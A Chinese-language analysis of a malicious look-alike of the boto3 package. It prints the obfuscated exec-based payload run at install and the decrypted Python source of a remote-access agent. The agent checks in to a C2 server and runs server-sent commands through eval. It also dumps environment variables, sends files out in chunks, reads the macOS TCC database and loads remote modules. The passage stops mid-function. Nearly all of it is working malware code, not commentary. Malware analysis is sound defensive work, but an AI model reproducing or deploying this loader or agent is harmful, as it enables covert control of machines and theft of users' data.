boto3 恶意包代码分析

安装过程

和官方正常的boto3 包比较发现,该恶意包会额外执行以下恶意加密payload:

1
exec(''.join(chr(c^k) for c,k in zip(base64.b64decode(b'Q[IB\IFBSXPZG_KW]AA	[]\HQR P@\T
TESWJ^AAT<PYAGF\^_VT@AA;SJW^S]BPZ^
DRUAEXYl\\EWJGZ]W]
QEW<>v*d>5|kpP V<3;T\KFXF8BIRJM{QJQRqFUv sAVMsL"JAQTUWLUTw@uqMV@rNDKr$IF JhAVMrtLY JA!]R"Ls#S@MV@p	NDKr"IF Jr BIuSJMy~QJ_{RwFU rkF@qMV@p}NDK
UIF JBIWJM~QJ RupFUpAVMt L'JAUU!^LSW ?QJVRuFUrAVM LXJARQ\'LUW@MV@sNDKv$IF JBIvSJM>AFAR]]UL!Wt@vMV@ |NDK'IF JwBISJMzQJ"Rt FUtAVMsLYJ2BDKUIF JrBIQJM}|QJTRppFUrsAVMtL"pJA !V_L#Rv@MV@uNnFUttwAVMptL'pJAVWQ"LQ^ @MV@p NDKTIF JrBIQJM{QJ_~RwlEFL S'@MV@NDK
TIF JpBIYJM~QJ${RtFUts AVM L'tJA$W!T8BIw%JM{QJWRspFUtAVMLPJA!P$QL'Uq@ MV@}NDK_IF JhAVMLYJAV"!%LPTt@
MV@NDKPIF JsqBIvYJM	QJ"}RvFU puskF@vMV@NDK 'IF JuBI XJMQJTRpFUs uAVMpvLW JA[U\SLpVQ?QJ#RuFUuAVM	qL%JAV!$_L!S@u MV@sxNDKSIF JuBIu$JM >AFA %R^LWTp@wMV@wNDKqRIF JuBIqYJM||QJQRuFUpsuAVM	wLYsJ2BDKVIF JqBIvTJMQJR R FUvtAVMLRJAWS'_LT%@pMV@|NnFUuw	AVMLPJAT]!_L'_@
vMV@|NDKQIF JsBIw$JMQJT RrulEFL!'@MV@}NDKq IF JsBI SJM QJR	R
FUvwAVMsLTJA &TP8>?_Gk9W^MkF	QVV	MTpQqKQFN
THK'PJNNL# @AyBTN
vJEVH
RIwMFIqt$<BDKQ&JNqNLR_@ AtBTNuJEVHtpRI	MFI
#	PVRM!QqtKqXFNz H<FEVHRIvMFIT	% V%MPQuKq$FN!HK_PJNwNLUT@~rA{BTNvJoFMR	QtKuPFNTHKT]JNpNLSR@zA BTNqJEVHsRIMFI|
$	 VT<BLVT@~A~ BTNJEVH
 RIMFI P	 V'MWrQvrK%FNWHK$SJNN;AFI{V	PVS M$uQpuKvXFN}#HKS JN NLUP@AyBTNwJEVHrRI	 MlKQFN}ZHK''JNNLY%@zpA|BTNrJEVHtRIt MFI  S	&V$MVQ2A|BTNpJEVHsRI	rMFIvy 	TpVVM! QtwKv%FN	QHKVTJNNLY'@qkF	WwV_MS Q K 'FNUHK"&JNqtNLXQ@~A{pBTNpvJEVHtRIs MFIpU<BDK_SJNuvNLVR@
A}BTNrwJEVHRI	MFIp
t_	WV#MSrQKp'FN'H<FEVHRIwMFIyW	UrVT	M!QK'FN{UHKPWJNpNL '@	AzsBTNqJoFM$rQ K$FN HK%SJNpNLV_@
AwBTNwqJEVHqRIwqMFI q"	QwV <BLP @|wAyBTN  JEVH
RIMFIvW	&VWMSQ KVFNRHK#&JNsN;AFIW	SpV'	MSQwK  FN	&HKT!JNq NLV'@uABTNp
JEVHuRItrMlKuQFN|RHKU'JN qNL #@
rA~BTNqJEVHqRItvMFIwz%	\VSM[Q 2A	BTNqJEVHRIqMFIwyQ	  VTM' QKUFNQHKSPJNNLQ%@wkl2R\DEFQ9DWEFK;AFWZJZ\FJWW\ElBR[QVF \]K^<FEFBBo;n[hG>P	@mJ9khY;8l:VSR_GkWnWALVGIAO<BDU\E[XG_VQIR?AFPVD\ZEQ\QQV>AFAFKmP??\n[E^DiGj ^Io=\lnRen>kV^J
PGl
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8BBj<=lKh<iWe?nhW8JAmh9 l\FFjeciMcd9Uk>WmiiBBj<=l?iVem?H@hW8=oF9loS;FcnoSoFJ9Vkh;IFCiinPl=ln
eiWem?nF= omhNBoP;nh@oSo=kBm n=V;GnSlj<JBn
eh<FKm
??nF= omhh;UQFTUQgJ\AV9SS@JXO_lSC]A[GYVTQIO<BDFE _@^_F RT	>AFBDF=Yom^hBo
=\lnRe9>FUS_DZR^SJP]Z f$BTNuuOEVUDLYVPTKVISF
SM<9WF][NkF_VX9V^YMU] \2BDBF= ojj iA8Pn
ejAS=k3BDFFXFQii?B =lf@AlF@BPRhV8FnWo?;AFPn	ej\h_^VN=ojjiHlYh<8MB:KGSmhBoU:Uh? iUeg_DBmFY_ST9l?F@?2\VRA_@iZC^]M<BW[F\\VAUUXD[ZK9^UZQj^]ABnQe>kV^Pi^Z:_^CY[B[l^\FA[FQXXTVNQO
8BA@LZYL_TLEhZ;>VmhF9XloS;?AF@_DNGZ NHF_YPJBj]<=lf@oo=kKnFEFEo\?jiA8@2AFJ9kh;E8@>BAFBnQeh<8LhDFEFAm]h9l?[G?2A_@iZC^]M8<Fj^_\F;V	TVVMRQ	KQFNRHKRUJ:RI	MFIzP	RuV"M#sQuK lBTNuJEVHsRIswMFIqP	]VUMTp>AF@|AzBTNwJEVHtwRItrMFIvW	W9OolTWPWETGSTEGQ@@J3BDAB\oYBEMEnQZUoOPVD_ZEQ\QQRXEP@LAOe<3P^YJVLTBAC\@	>AFD\D]UAG@\U\IcnH8l\S_BYAlUAUBSkFJ]GA\FZOMZmE _@]B[]FOXEYO2<]Z]:IFSG>AFZML	A^KBM<FE _@]_FPCF]\F \]U
\FLO<BAF\WWMGooFRpu	lEFBA	@EnQe	AlBD	U<BAFWF@:[;BU<FEFBSF^;FFJX BV@N
D<>QWD AYYQ]@J3BDCY\QkY_	AW_QTWPSKGOEC ?BQU\V_	APLSJJ?FRWWmZQ[?QU\V_lX\O2BDDVGBZU\ETLFEY\W]Ul2R\DC]CN@^W][TI@H\?CUVVQfXF
Q[X@PEjP;?RGWLI RZ]:
U\
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QF
Q[X@PEjLTUQQVTkWeWZ] DiDTUXZ9YT[e9AFYEJBR
	N@	PUPRnY]VR@FHPDFRWW<BCQG_U]@G U2<]@C
oPZ[V	BYFPR]V]SiJSPIFBWGA\TnD QX[_gFWO<BDFECASFAB]TZIPBFY_VAFZZVi@Z FCZCPIMZFmYR]
Q9FEFGEDFFn\PKKRSi_SRkU	FY_ZP_SNT]]WKW^MQ

[mE]Ol>kYPFKrq2lBYF]9RKi_PnB]C	AVV^JEU;AFQTSgl][giZUFCFSFj	TH[lASKSKDZV]NCFSFj	THA[t}kFG\Ef iXV:YHS>BAFBPT^Z>@	MX]Dr#6HB]CZQnSM>PHjKQIQ:^VTBVA9Ik>BAFBPT^k
Wg[X_PVE[ASXSLnTL[UjS]JSLSK=SJloFPPnQT_QgSVMIATPB	W@G9[WOhAFS]Jk]
M[WDQC [UAXIFEPJgXQlBDBSB]ZnB]T]]SLSK=SJFJI<BAFV^YMU]G>BJiPDRG
XPZQ9V^YMU]GH8FBDZFXF8BA]XY]_Q]OfZF^OF]W9G^@V\@JWBP9FEFBCQTZG]OfZF^=k?BAF]
]X	OlP		]\EGX@TE\WVlGHBT9FEFBAFFZJ\UBVRDW
?BAFAFOYKDh:_JmVhBW^FAX[O\FolBDFEF^CP:VhkAk]c_dhDFEFBF	2AFBDV
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X _VMUKiWZD\ZOQLVF FWXfLV[XF<BAFAE	JR_Dm@l
kPkSCVA[BWJWik8FBDFEFG]DP_I[9WHA]KC@RiP\
^Am\TCUZ_jKQIQ<lBDFEFYSMj^]AFTHHVZWD]KnFEFDQAC_:PHj[W_A\cDLMi^CF\_JY]S
]X	OlP		]\EM H;?;PTF]XZFGl		SYGPW
TX[L]K@HlBDU@BY_D\_A]@GA[hDFEFBZU\nB@ PZJ@ATUWMNC
^FSLAK;AFYWP>@	MX]=SJ	Y\iGAETAP]SgXQmYBKS@hV8O:B	G\Q]S_SSH@V
H^mD[@UB[lAFJiQJ BZU\nB@ P?AFBDE[Z 9B]AG]P]9FETL]>AFBDFHmU[Y\_GIYP\Vg@@ F<BDFEFUQnC[Qn^]ADSViJBVF\Tk^HnY GXV]Kh]<lBDoPO@PAX [nFLYGQH8FBD@ DmD[BAX [nFLYGQH8FBDR9B]CZQ=ZTMIYP\Vg@@ FJPl o_W@GRTG:Kl22AFBFAEQFD]MPSH@AYYQ]kFLShnFVRQVHA@>Y^VS@QTJUPSAG<BAFTBF]JGWUPSAG	S;AFP]ZJiJBV[EIFSGPEFR\HPVFWL3BDFEFQVRkGD_P>PH[QC\@9KBX@	 m]QL=\P@VTFciH8FBDZ9CZ_RA=C^CNVXEP]AkFLShDFEF[XBjDSkATF[ZD	WgEMS9lEFBW^FAX[JRZWNKSUJXlA	TASMF 2AFBDR9B]CZQ=ZTMI\A]]JlGS]ZU9Im[UAXRQ=\l2AFBDZ]:YJiWZD\ZNVXEP]AkFLShDFEF_Gk\WAgJ\CQFQi@G8BAFQVEkGgT@EPU@iGAETkF VgDV
RlXNS[F\PnB@ PK]_ROm]OfBAZ kk?BAFG]LFFYBKQJ Q_D]CnGAT22A]P
UAJ9SPUF]WAYP\VLVLFQ@XnFEFWGFCE[\N	\W<BDFE\S_ZAIE\FEPQH_U\]NMKnFEFTXZZB\Fnl?AFFK_\FE[[@>BAFWZJCX [LSA;T_\FY\GEXEk
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UAE`TZXZ?AFBDFEFBBTXHE^FLjVG]KSJJM<FEFBAF]KWBIE9FEFBAF@QTHYQ\e_VNBAFAl2__B;i]R 9o	@nnY [nj9AFUS]WFTGEUK'), itertools.cycle(b'869bd633fef02645b114af5158834a2f'))).encode())

解密可得到恶意python代码如下:

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import os, random, sys, json, socket, base64, time, platform, ssl
import urllib.request
from datetime import datetime
import threading, queue

CHUNK_SIZE = 51200

s_box = (
0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16,
)

inv_s_box = (
0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB,
0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB,
0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E,
0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25,
0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92,
0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84,
0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06,
0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B,
0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73,
0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E,
0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B,
0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4,
0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F,
0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF,
0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61,
0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D,
)

def sub_bytes(s):
for i in range(4):
for j in range(4):
s[i][j] = s_box[s[i][j]]

def inv_sub_bytes(s):
for i in range(4):
for j in range(4):
s[i][j] = inv_s_box[s[i][j]]

def shift_rows(s):
s[0][1], s[1][1], s[2][1], s[3][1] = s[1][1], s[2][1], s[3][1], s[0][1]
s[0][2], s[1][2], s[2][2], s[3][2] = s[2][2], s[3][2], s[0][2], s[1][2]
s[0][3], s[1][3], s[2][3], s[3][3] = s[3][3], s[0][3], s[1][3], s[2][3]

def inv_shift_rows(s):
s[0][1], s[1][1], s[2][1], s[3][1] = s[3][1], s[0][1], s[1][1], s[2][1]
s[0][2], s[1][2], s[2][2], s[3][2] = s[2][2], s[3][2], s[0][2], s[1][2]
s[0][3], s[1][3], s[2][3], s[3][3] = s[1][3], s[2][3], s[3][3], s[0][3]

def add_round_key(s, k):
for i in range(4):
for j in range(4):
s[i][j] ^= k[i][j]

xtime = lambda a: (((a << 1) ^ 0x1B) & 0xFF) if (a & 0x80) else (a << 1)

def mix_single_column(a):
t = a[0] ^ a[1] ^ a[2] ^ a[3]
u = a[0]
a[0] ^= t ^ xtime(a[0] ^ a[1])
a[1] ^= t ^ xtime(a[1] ^ a[2])
a[2] ^= t ^ xtime(a[2] ^ a[3])
a[3] ^= t ^ xtime(a[3] ^ u)

def mix_columns(s):
for i in range(4): mix_single_column(s[i])

def inv_mix_columns(s):
for i in range(4):
u = xtime(xtime(s[i][0] ^ s[i][2]))
v = xtime(xtime(s[i][1] ^ s[i][3]))
s[i][0] ^= u
s[i][1] ^= v
s[i][2] ^= u
s[i][3] ^= v

mix_columns(s)

r_con = (
0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40,
0x80, 0x1B, 0x36, 0x6C, 0xD8, 0xAB, 0x4D, 0x9A,
0x2F, 0x5E, 0xBC, 0x63, 0xC6, 0x97, 0x35, 0x6A,
0xD4, 0xB3, 0x7D, 0xFA, 0xEF, 0xC5, 0x91, 0x39,
)

def bytes2matrix(text):
return [list(text[i:i+4]) for i in range(0, len(text), 4)]

def matrix2bytes(matrix):
return bytes(sum(matrix, []))

def xor_bytes(a, b):
return bytes(i^j for i, j in zip(a, b))

def inc_bytes(a):
out = list(a)
for i in reversed(range(len(out))):
if out[i] == 0xFF:
out[i] = 0
else:
out[i] += 1
break
return bytes(out)

def pad(plaintext):
padding_len = 16 - (len(plaintext) % 16)
padding = bytes([padding_len] * padding_len)
return plaintext + padding

def unpad(plaintext):
padding_len = plaintext[-1]
assert padding_len > 0
message, padding = plaintext[:-padding_len], plaintext[-padding_len:]
assert all(p == padding_len for p in padding)
return message

def split_blocks(message, block_size=16, require_padding=True):
assert len(message) % block_size == 0 or not require_padding
return [message[i:i+16] for i in range(0, len(message), block_size)]

class AES:
rounds_by_key_size = {16: 10, 24: 12, 32: 14}
def __init__(self, master_key):
assert len(master_key) in AES.rounds_by_key_size
self.n_rounds = AES.rounds_by_key_size[len(master_key)]
self._key_matrices = self._expand_key(master_key)

def _expand_key(self, master_key):
key_columns = bytes2matrix(master_key)
iteration_size = len(master_key) // 4
columns_per_iteration = len(key_columns)
i = 1
while len(key_columns) < (self.n_rounds + 1) * 4:
word = list(key_columns[-1])
if len(key_columns) % iteration_size == 0:
word.append(word.pop(0))
word = [s_box[b] for b in word]
word[0] ^= r_con[i]
i += 1
elif len(master_key) == 32 and len(key_columns) % iteration_size == 4:
word = [s_box[b] for b in word]

word = xor_bytes(word, key_columns[-iteration_size])
key_columns.append(word)
return [key_columns[4*i : 4*(i+1)] for i in range(len(key_columns) // 4)]

def encrypt_block(self, plaintext):
assert len(plaintext) == 16
plain_state = bytes2matrix(plaintext)
add_round_key(plain_state, self._key_matrices[0])
for i in range(1, self.n_rounds):
sub_bytes(plain_state)
shift_rows(plain_state)
mix_columns(plain_state)
add_round_key(plain_state, self._key_matrices[i])
sub_bytes(plain_state)
shift_rows(plain_state)
add_round_key(plain_state, self._key_matrices[-1])

return matrix2bytes(plain_state)

def decrypt_block(self, ciphertext):
assert len(ciphertext) == 16
cipher_state = bytes2matrix(ciphertext)
add_round_key(cipher_state, self._key_matrices[-1])
inv_shift_rows(cipher_state)
inv_sub_bytes(cipher_state)

for i in range(self.n_rounds - 1, 0, -1):
add_round_key(cipher_state, self._key_matrices[i])
inv_mix_columns(cipher_state)
inv_shift_rows(cipher_state)
inv_sub_bytes(cipher_state)
add_round_key(cipher_state, self._key_matrices[0])
return matrix2bytes(cipher_state)

def encrypt_cbc(self, plaintext, iv):
assert len(iv) == 16
plaintext = pad(plaintext)
blocks = []
previous = iv
for plaintext_block in split_blocks(plaintext):
block = self.encrypt_block(xor_bytes(plaintext_block, previous))
blocks.append(block)
previous = block
return b''.join(blocks)

def decrypt_cbc(self, ciphertext, iv):
assert len(iv) == 16
blocks = []
previous = iv
for ciphertext_block in split_blocks(ciphertext):
blocks.append(xor_bytes(previous, self.decrypt_block(ciphertext_block)))
previous = ciphertext_block
return unpad(b''.join(blocks))


class medusa:
def encrypt(self, data):
from hmac import new
if self.agent_config["enc_key"]["value"] == "aes256_hmac" and len(data)>0:
key = base64.b64decode(self.agent_config["enc_key"]["enc_key"])
iv = os.urandom(16)
ciphertext = AES(key).encrypt_cbc(data, iv)
hmac = new(key, iv + ciphertext, 'sha256').digest()
return iv + ciphertext + hmac
else:
return data

def decrypt(self, data):
from hmac import new, compare_digest

if self.agent_config["enc_key"]["value"] == "aes256_hmac":
if len(data)>0:
key = base64.b64decode(self.agent_config["enc_key"]["dec_key"])
uuid = data[:36]
iv = data[36:52]
ct = data[52:-32]
received_hmac = data[-32:]
hmac = new(key, iv + ct, 'sha256').digest()
if compare_digest(hmac, received_hmac):
return (uuid + AES(key).decrypt_cbc(ct, iv)).decode()
else: return ""
else: return ""
else: return data.decode()


def getOSVersion(self):
if platform.mac_ver()[0]: return "macOS "+platform.mac_ver()[0]
else: return platform.system() + " " + platform.release()

def getUsername(self):
try: return os.getlogin()
except: pass
for k in [ "USER", "LOGNAME", "USERNAME" ]:
if k in os.environ.keys(): return os.environ[k]

def formatMessage(self, data):
return base64.b64encode(self.agent_config["UUID"].encode() + self.encrypt(json.dumps(data).encode()))

def formatResponse(self, data):
return json.loads(data.replace(self.agent_config["UUID"],""))

def postMessageAndRetrieveResponse(self, data):
return self.formatResponse(self.decrypt(self.makeRequest(self.formatMessage(data),'POST')))

def getMessageAndRetrieveResponse(self, data):
return self.formatResponse(self.decrypt(self.makeRequest(self.formatMessage(data))))

def sendTaskOutputUpdate(self, task_id, output):
responses = [{ "task_id": task_id, "user_output": output, "completed": False }]
message = { "action": "post_response", "responses": responses }
response_data = self.postMessageAndRetrieveResponse(message)

def postResponses(self):
try:
responses = socks = []
taskings = self.taskings
for task in taskings:
if task["completed"] == True:
out = { "task_id": task["task_id"], "user_output": task["result"], "completed": True }
if task["error"]: out["status"] = "error"
elif "file_browser" in task["parameters"]: out["file_browser"] = task["file_browser"]
responses.append(out)
while not self.socks_out.empty(): socks.append(self.socks_out.get())
if ((len(responses) > 0) or (len(socks) > 0)):
message = { "action": "post_response", "responses": responses }
if socks: message["socks"] = socks
response_data = self.postMessageAndRetrieveResponse(message)
for resp in response_data["responses"]:
task_index = [t for t in self.taskings \
if resp["task_id"] == t["task_id"] \
and resp["status"] == "success"][0]
self.taskings.pop(self.taskings.index(task_index))
except: pass

def processTask(self, task):
try:
task["started"] = True
function = getattr(self, task["command"], None)
if(callable(function)):
try:
params = json.loads(task["parameters"]) if task["parameters"] else {}
params['task_id'] = task["task_id"]
command = "self." + task["command"] + "(**params)"
output = eval(command)
except Exception as error:
output = str(error)
task["error"] = True
task["result"] = output
task["completed"] = True
else:
task["error"] = task["completed"] = True
task["result"] = "Function unavailable."
except Exception as error:
task["error"] = task["completed"] = True
task["result"] = error

def processTaskings(self):
threads = list()
taskings = self.taskings
for task in taskings:
if task["started"] == False:
x = threading.Thread(target=self.processTask, name="{}:{}".format(task["command"], task["task_id"]), args=(task,))
threads.append(x)
x.start()

def getTaskings(self):
data = { "action": "get_tasking", "tasking_size": -1 }
tasking_data = self.postMessageAndRetrieveResponse(data)
for task in tasking_data["tasks"]:
t = {
"task_id":task["id"],
"command":task["command"],
"parameters":task["parameters"],
"result":"",
"completed": False,
"started":False,
"error":False,
"stopped":False
}
self.taskings.append(t)
if "socks" in tasking_data:
for packet in tasking_data["socks"]: self.socks_in.put(packet)

def checkIn(self):
data = {
"action": "checkin",
"ip": socket.gethostbyname(socket.gethostname()),
"os": self.getOSVersion(),
"user": self.getUsername(),
"host": socket.gethostname(),
"domain:": socket.getfqdn(),
"pid": os.getpid(),
"uuid": self.agent_config["PayloadUUID"],
"architecture": "x64" if sys.maxsize > 2**32 else "x86",
"encryption_key": self.agent_config["enc_key"]["enc_key"],
"decryption_key": self.agent_config["enc_key"]["dec_key"]
}
encoded_data = base64.b64encode(self.agent_config["PayloadUUID"].encode() + self.encrypt(json.dumps(data).encode()))
decoded_data = self.decrypt(self.makeRequest(encoded_data, 'POST'))
if("status" in decoded_data):
UUID = json.loads(decoded_data.replace(self.agent_config["PayloadUUID"],""))["id"]
self.agent_config["UUID"] = UUID
return True
else: return False

def makeRequest(self, data, method='GET'):
hdrs = {}
for header in self.agent_config["Headers"]:
hdrs[header["name"]] = header["value"]
if method == 'GET':
req = urllib.request.Request(self.agent_config["Server"] + self.agent_config["GetURI"] + "?" + self.agent_config["GetURI"] + "=" + data.decode(), None, hdrs)
else:
req = urllib.request.Request(self.agent_config["Server"] + self.agent_config["PostURI"], data, hdrs)

if self.agent_config["ProxyHost"] and self.agent_config["ProxyPort"]:
tls = "https" if self.agent_config["ProxyHost"][0:5] == "https" else "http"
handler = urllib.request.HTTPSHandler if tls else urllib.request.HTTPHandler
if self.agent_config["ProxyUser"] and self.agent_config["ProxyPass"]:
proxy = urllib.request.ProxyHandler({
"{}".format(tls): '{}://{}:{}@{}:{}'.format(tls, self.agent_config["ProxyUser"], self.agent_config["ProxyPass"], \
self.agent_config["ProxyHost"].replace(tls+"://", ""), self.agent_config["ProxyPort"])
})
auth = urllib.request.HTTPBasicAuthHandler()
opener = urllib.request.build_opener(proxy, auth, handler)
else:
proxy = urllib.request.ProxyHandler({
"{}".format(tls): '{}://{}:{}'.format(tls, self.agent_config["ProxyHost"].replace(tls+"://", ""), self.agent_config["ProxyPort"])
})
opener = urllib.request.build_opener(proxy, handler)
urllib.request.install_opener(opener)
try:
with urllib.request.urlopen(req) as response:
out = base64.b64decode(response.read())
return out.decode() if method == 'GET' else out
except: return ""

def passedKilldate(self):
kd_list = [ int(x) for x in self.agent_config["KillDate"].split("-")]
kd = datetime(kd_list[0], kd_list[1], kd_list[2])
if datetime.now() >= kd: return True
else: return False

def agentSleep(self):
j = 0
if int(self.agent_config["Jitter"]) > 0:
v = float(self.agent_config["Sleep"]) * (float(self.agent_config["Jitter"])/100)
if int(v) > 0:
j = random.randrange(0, int(v))
time.sleep(self.agent_config["Sleep"]+j)

def cat(self, task_id, path):
file_path = path if path[0] == os.sep \
else os.path.join(self.current_directory,path)

with open(file_path, 'r') as f:
content = f.readlines()
return ''.join(content)

def cd(self, task_id, path):
if path == "..":
self.current_directory = os.path.dirname(os.path.dirname(self.current_directory + os.sep))
else:
self.current_directory = path if path[0] == os.sep \
else os.path.abspath(os.path.join(self.current_directory,path))

def cp(self, task_id, source, destination):
import shutil

source_path = source if source[0] == os.sep \
else os.path.join(self.current_directory,source)

dest_path = destination if destination[0] == os.sep \
else os.path.join(self.current_directory,destination)

if os.path.isdir(source_path):
shutil.copytree(source_path, dest_path)
else:
shutil.copy(source_path, dest_path)

def cwd(self, task_id):
return self.current_directory

def download(self, task_id, file):
file_path = file if file[0] == os.sep \
else os.path.join(self.current_directory,file)

file_size = os.stat(file_path).st_size
total_chunks = int(file_size / CHUNK_SIZE) + (file_size % CHUNK_SIZE > 0)

data = {
"action": "post_response",
"responses": [
{
"task_id": task_id,
"total_chunks": total_chunks,
"full_path": file_path,
"chunk_size": CHUNK_SIZE
}]
}
initial_response = self.postMessageAndRetrieveResponse(data)
chunk_num = 1
with open(file_path, 'rb') as f:
while True:
if [task for task in self.taskings if task["task_id"] == task_id][0]["stopped"]:
return "Job stopped."

content = f.read(CHUNK_SIZE)
if not content:
break # done

data = {
"action": "post_response",
"responses": [
{
"chunk_num": chunk_num,
"file_id": initial_response["responses"][0]["file_id"],
"chunk_data": base64.b64encode(content).decode(),
"task_id": task_id
}
]
}
chunk_num+=1
response = self.postMessageAndRetrieveResponse(data)

def env(self, task_id):
return "\n".join(["{}: {}".format(x, os.environ[x]) for x in os.environ])

def eval_code(self, task_id, command):
return eval(command)

def exit(self, task_id):
os._exit(0)

def jobkill(self, task_id, target_task_id):
task = [task for task in self.taskings if task["task_id"] == target_task_id]
task[0]["stopped"] = True

def jobs(self, task_id):
out = [t.name.split(":") for t in threading.enumerate() \
if t.name != "MainThread" and "a2m" not in t.name \
and "m2a" not in t.name and t.name != "jobs:{}".format(task_id) ]
if len(out) > 0: return { "jobs": out }
else: return "No long running jobs!"

def list_modules(self, task_id, module_name=""):
if module_name:
if module_name in self.moduleRepo.keys():
return "\n".join(self.moduleRepo[module_name].namelist())
else: return "{} not found in loaded modules".format(module_name)
else:
return "\n".join(self.moduleRepo.keys())

def list_tcc(self,task_id,tcc=True, db="/Library/Application Support/com.apple.TCC/TCC.db"):
import sqlite3

with sqlite3.connect(db) as con:
columns = []
for row in con.execute('PRAGMA table_info("access")'):
columns.append(row)

tcc = []
for row in con.execute('SELECT * FROM "access"'):
tcc.append(row)
results = []
for entry in tcc:
line={}
count = 0
for ent in entry:
if columns[count][2] == "BLOB" and ent != None:
line[columns[count][1]] = base64.b64encode(ent).decode()
else: line[columns[count][1]] = str(ent)
count+=1
results.append(line)

tcc_results = {}
tcc_results["entries"] = results
return { "tcc": results }

def load(self, task_id, file_id, command):
total_chunks = 1
chunk_num = 0
cmd_code = ""
while (chunk_num < total_chunks):
if [task for task in self.taskings if task["task_id"] == task_id][0]["stopped"]:
return "Job stopped."
data = { "action": "post_response", "responses": [
{ "upload": { "chunk_size": CHUNK_SIZE, "file_id": file_id, "chunk_num": chunk_num }, "task_id": task_id }
]}
response = self.postMessageAndRetrieveResponse(data)
chunk = response["responses"][0]
chunk_num+=1
